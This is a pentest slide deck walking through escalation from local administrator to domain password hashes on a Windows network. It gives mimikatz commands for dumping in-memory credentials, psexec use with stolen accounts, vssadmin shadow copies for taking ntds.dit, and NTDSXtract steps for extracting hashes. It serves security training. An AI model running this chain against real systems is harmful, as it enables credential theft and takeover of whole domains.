1 of 23

The Fall of a Domain

LOCAL ADMIN TO DOMAIN USER HASHES

Riyaz Walikar

2 of 23

Disclaimer

It was far more painstaking and complicated than this!

Demo setup to show execution path

All the commands were actually used in the pentest

Please do not try this on your office/corporate environment without written permission

3 of 23

Please exercise caution!

4 of 23

The story so far

Remote RDP access to a machine on the client network via VPN

Local Administrator rights to simulate an employee

User is a limited domain user

Domain controller on the same network, reachable with LDAP services running

5 of 23

Visually. This.

6 of 23

Local Admin eh?

Locally logged in as TARDIS\fwhite

Domain limited user but local admin

Other users connected? [Task Manager > Users]

Found another user connected to our system via RDP –sweet! (possibly domain admin ☺)

Need system privs! Any ideas?

7 of 23

Think Sysinternals!

psexec –s –i cmd.exe

8 of 23

Dump connected user credentials

mimikatz – Benjamin Delpy

Extracts plaintext passwords from memory

Wdigest, tspkg, kerberos and many more

mimikatz

privilege::debug
token::elevate
sekurlsa::logonPasswords

9 of 23

Windows (In)Security?

10 of 23

Now what?

http://gapingvoid.com/2008/06/13/now-what/

11 of 23

Remote CMD anyone?

RDP directly!

Lets be discreet ☺

psexec -s –u TARDIS\atomboy \\10.10.10.1 cmd.exe

Game already over!

Instead RDP with user credentials and present report

13 of 23

Lets grab some hashes ☺

Active Directory stores user information in %systemroot%\ntds\ntds.dit

Locked during system usage

ntdsutil + snapshot = backup (> Windows 2008)

vssadmin create shadow /for=C: (> Windows 2003)

14 of 23

Lets grab some hashes ☺

backup readable by nt authority\system and administrators

We need the ntds.dit and SYSTEM files

cd / dir /other inbuilt cmd commands do not work on unmounted volume shadow copies

copy works!

15 of 23

Core files needed

16 of 23

NTDS.dit structure parse?

NTDSXtract - A framework for offline forensic analysis of ntds.dit

Need the libesedb module as well

libesedb and creddump in ntds_dump_hashes.zip

wget to a linux box (Kali is a good choice)

17 of 23

get framework + compile + make + run

wget http://ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

wget http://ntdsxtract.com/downloads/ntds_dump_hash.zip

unzip both

18 of 23

get framework + compile + make + run

cd ntds_dump_hash/libesedb

./configure && make

cd libesedb/esedbtools

./esedbexport -l /tmp/ntds.log <ntds.dit>

19 of 23

Yay!

python ../../ntdsxtract/dsusers.py datatable link_table --passwordhashes <system_file> –passwordhistory <system_file>

Cleanup the output with ntdstopwdump.py

(https://raw.github.com/inquisb/miscellaneous/master/ntdstopwdump.py)

20 of 23